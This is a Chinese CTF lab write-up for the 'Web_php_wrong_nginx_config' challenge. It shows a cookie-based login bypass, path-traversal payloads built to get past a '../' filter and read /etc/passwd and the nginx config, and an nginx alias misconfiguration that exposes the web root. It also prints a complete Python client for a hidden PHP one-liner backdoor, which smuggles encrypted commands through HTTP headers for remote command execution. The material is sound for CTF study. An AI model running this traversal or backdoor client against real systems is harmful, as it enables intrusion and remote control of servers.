攻防世界的Web_php_wrong_nginx_config实战题目

admin 2023年2月7日12:45:56评论35 views字数 4948阅读16分29秒阅读模式

前言:

这个是根据攻防世界靶场进行的一个实战解析题目,研究web ctf的小伙伴可以学习一下,难度为7.

攻防世界的Web_php_wrong_nginx_config实战题目


基于靶场:

https://adworld.xctf.org.cn/challenges/details?hash=c5aadb17-5557-45cd-870a-3ee6d39039ad_2&task_category_id=3

首先我们访问这个靶场,发现这是一个要登陆的靶场,我们对于这种可以先尝试扫描一下目录,这里我使用dirsearch工具进行扫描

命令指定一个网址,再指定这种网站的类型

python3 dirsearch.py -u http://61.147.171.105:52208/ -e php

这里需要安装一下python3.x版本


我们这里扫描出一些路径

通过扫描

/admin.php

请登录

/admin/admin.php

出现please continue

/login.php

让我们登录,那么我们先记下,先进行下一步


我们扫描还发现robots文件

robots.txt

我们这里逐个测验了各个页面的内容,我们整理一下这里都有什么作用

攻防世界的Web_php_wrong_nginx_config实战题目

这里出现了两个我们可能有用的文件,我们先记下来。

攻防世界的Web_php_wrong_nginx_config实战题目

我们这里先打开这个页面,我们会发现提示我们配置文件有问题,我们现在也没有办法,所以我们可以先记录下来。

我们也看了下hack.php,这里也是需要登录的,那么我们就知道我们需要拿到一个登录后的权限,我们去找找哪里可以越权

攻防世界的Web_php_wrong_nginx_config实战题目

我们抓包这个hack页面,会发现这里有一个cookie的验证登录,这里我们试试改成1,看看可不可以绕过

攻防世界的Web_php_wrong_nginx_config实战题目


可以看到我们成功的越权了

这里涉及一个小知识点,那就是我们通过burp抓包得到的权限,是临时的,刷新之后就会重置,那么我们就需要先进行一下保存cookie的操作

攻防世界的Web_php_wrong_nginx_config实战题目


攻防世界的Web_php_wrong_nginx_config实战题目

最后我们点击一下save就可以成功保存了。

攻防世界的Web_php_wrong_nginx_config实战题目

我们通过鼠标的移动会发现这里可以直接访问到admin这个页面,于是我们点击进去查看,发现的确可以进行越权。

到了这个页面,我们观察一下,发现这里网址应该是一个文件包含,这里将文件名和文件后缀分别写为了两个变量传递过去。

那么我们可以尝试一下文件包含的问题。

我们尝试使用伪协议访问一下密码文件

我们构造一个payload,疯狂回到根目录就好,这里多回了几次也是没有关系

/admin/admin.php?file=../../../../../../../../etc/passwd&ext=

但是这里并不理我,我们逐句判断,可能是被过滤了,我们输入../index看看有没有用

攻防世界的Web_php_wrong_nginx_config实战题目

按理来说除非上级目录还有一模一样的文件不然不可能还能显示,所以我们这里判断出这里的../应该是被用空白字符替换掉了。

那么我们理论上来说就是可以进行一个双写尝试了,我们试试

攻防世界的Web_php_wrong_nginx_config实战题目



payload:

?file=file=....//..././....//..././....//....//..././etc/passwd&ext=

根据我们之前的线索,说nginx配置文件可能存在问题,那么我们去查看一下这个配置文件到底什么问题。

之前的页面也是将路径告诉了我们

?file=file=....//..././....//..././....//....//..././etc/nginx/sites-enabled/site.conf&ext=

我们得到一大推配置文件的代码,这里我们就需要对其进行一些格式化,不然看的很累。

攻防世界的Web_php_wrong_nginx_config实战题目


这里的配置文件我们可以百度代码格式化然后选择css的格式化

location ~ /. {    log_not_found off; deny all;}location /web-img {    alias /images/; autoindex on;}location ~* .(ini|docx|pcapng|doc)$ {    deny all;}include /var/www/nginx[.]conf;}

我先将其中没有用的被注释的废话删掉,然后我们看一看,这里问题出在这里

攻防世界的Web_php_wrong_nginx_config实战题目

这里是允许目录浏览,就非常危险。

alias的意思是别名,让用户可以输入web-img,实际上访问images目录

我们访问/web-img../就可以访问到网站的根目录。

攻防世界的Web_php_wrong_nginx_config实战题目


然后我们寻找一下有用的,发现一个问题网站目录下有一个hack.php的备份文件,我们下载下来看看到底是什么。

打开这个文件我们发现这里应该是一个拼接的一句话木马,所以我们将他解密后的内容输出。

攻防世界的Web_php_wrong_nginx_config实战题目

注释掉最后执行的,输出解密后的内容

攻防世界的Web_php_wrong_nginx_config实战题目


这里我们是遇到一个大佬写的使用python加载的一句话,这里我们会需要使用这个python文件来读取这个木马

# encoding: utf-8
from random import randint, choicefrom hashlib import md5import urllibimport stringimport zlibimport base64import requestsimport re
def choicePart(seq, amount): length = len(seq) if length == 0 or length < amount: print 'Error Input' return None result = [] indexes = [] count = 0 while count < amount: i = randint(0, length - 1) if not i in indexes: indexes.append(i) result.append(seq[i]) count += 1 if count == amount: return result
def randBytesFlow(amount): result = '' for i in xrange(amount): result += chr(randint(0, 255)) return result
def randAlpha(amount): result = '' for i in xrange(amount): result += choice(string.ascii_letters) return result
def loopXor(text, key): result = '' lenKey = len(key) lenTxt = len(text) iTxt = 0 while iTxt < lenTxt: iKey = 0 while iTxt < lenTxt and iKey < lenKey: result += chr(ord(key[iKey]) ^ ord(text[iTxt])) iTxt += 1 iKey += 1 return result
def debugPrint(msg): if debugging: print msg
# configdebugging = Falsekeyh = "42f7" # $khkeyf = "e9ac" # $kfxorKey = keyh + keyfurl = 'http://61.147.171.105:52208/hack.php'defaultLang = 'zh-CN'languages = ['zh-TW;q=0.%d', 'zh-HK;q=0.%d', 'en-US;q=0.%d', 'en;q=0.%d']proxies = None # {'http':'http://127.0.0.1:8080'} # proxy for debug
sess = requests.Session()# generate random Accept-Language only once each sessionlangTmp = choicePart(languages, 3)indexes = sorted(choicePart(range(110), 3), reverse=True)acceptLang = [defaultLang]for i in xrange(3): acceptLang.append(langTmp[i] % (indexes[i],))acceptLangStr = ','.join(acceptLang)debugPrint(acceptLangStr)init2Char = acceptLang[0][0] + acceptLang[1][0] # $imd5head = (md5(init2Char + keyh).hexdigest())[0:3]md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3, 8))debugPrint('$i is %s' % (init2Char))debugPrint('md5 head: %s' % (md5head,))debugPrint('md5 tail: %s' % (md5tail,))# Interactive php shellcmd = raw_input('phpshell > ')while cmd != '': # build junk data in referer query = [] for i in xrange(max(indexes) + 1 + randint(0, 2)): key = randAlpha(randint(3, 6)) value = base64.urlsafe_b64encode(randBytesFlow(randint(3, 12))) query.append((key, value)) debugPrint('Before insert payload:') debugPrint(query)    debugPrint(urllib.urlencode(query)) # encode payload payload = zlib.compress(cmd) payload = loopXor(payload, xorKey) payload = base64.urlsafe_b64encode(payload)    payload = md5head + payload # cut payload, replace into referer cutIndex = randint(2, len(payload) - 3) payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail) iPiece = 0 for i in indexes: query[i] = (query[i][0], payloadPieces[iPiece]) iPiece += 1 referer = url + '?' + urllib.urlencode(query) debugPrint('After insert payload, referer is:') debugPrint(query)    debugPrint(referer) # send request r = sess.get(url, headers={'Accept-Language': acceptLangStr, 'Referer': referer}, proxies=proxies) html = r.text    debugPrint(html) # process response pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey, xorKey)) output = pattern.findall(html) if len(output) == 0: print 'Error, no backdoor response' cmd = raw_input('phpshell > ') continue output = output[0] debugPrint(output) output = output.decode('base64') output = loopXor(output, xorKey) output = zlib.decompress(output) print output cmd = raw_input('phpshell > ')

攻防世界的Web_php_wrong_nginx_config实战题目

将python文件地址修改成你用的靶场的地址就可以了。

使用python2运行即可

攻防世界的Web_php_wrong_nginx_config实战题目

我们这里执行命令需要加上system

攻防世界的Web_php_wrong_nginx_config实战题目

我们读取这个flag

system('cat fllla4aggg.php');

攻防世界的Web_php_wrong_nginx_config实战题目

ctf{a57b3698-eeae-48c0-a669-bafe3213568c}



原文始发于微信公众号(白安全组):攻防世界的Web_php_wrong_nginx_config实战题目

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月7日12:45:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   攻防世界的Web_php_wrong_nginx_config实战题目http://cn-sec.com/archives/1540820.html

发表评论

匿名网友 填写信息